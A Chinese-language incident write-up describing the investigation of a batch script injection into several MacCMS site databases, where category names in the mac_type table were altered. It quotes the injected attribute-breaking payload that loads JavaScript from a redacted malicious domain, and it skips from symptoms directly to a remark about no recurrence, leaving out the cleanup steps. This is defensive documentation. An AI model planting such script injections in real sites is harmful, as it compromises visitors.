一次 MacCMS 多站数据库挂马事件的排查与处理记录

本文记录一次多站点 MacCMS 数据库被批量挂马的完整排查过程。文中涉及的真实域名、IP、数据库名、恶意域名均已做脱敏处理，适合用于复盘，也可作为以后遇到类似问题时的排查参考。

一、问题现象

服务器上部署了大量网站，其中多个 MacCMS 站点的数据库同时出现被挂马现象。主要表现为分类表 mac_type 的 type_name 字段被插入恶意 JS：

"><script src='//恶意域名/jquery.js'></script>

异常数据有一个明显规律：

邵氏电影 变成 邵氏电"><script ...>
内地明星 变成 内地明"><script ...>
电影     变成 电影"><script ...>

如果后续 24 至 48 小时不再复发，基本可以认为这条攻击链已经被切断。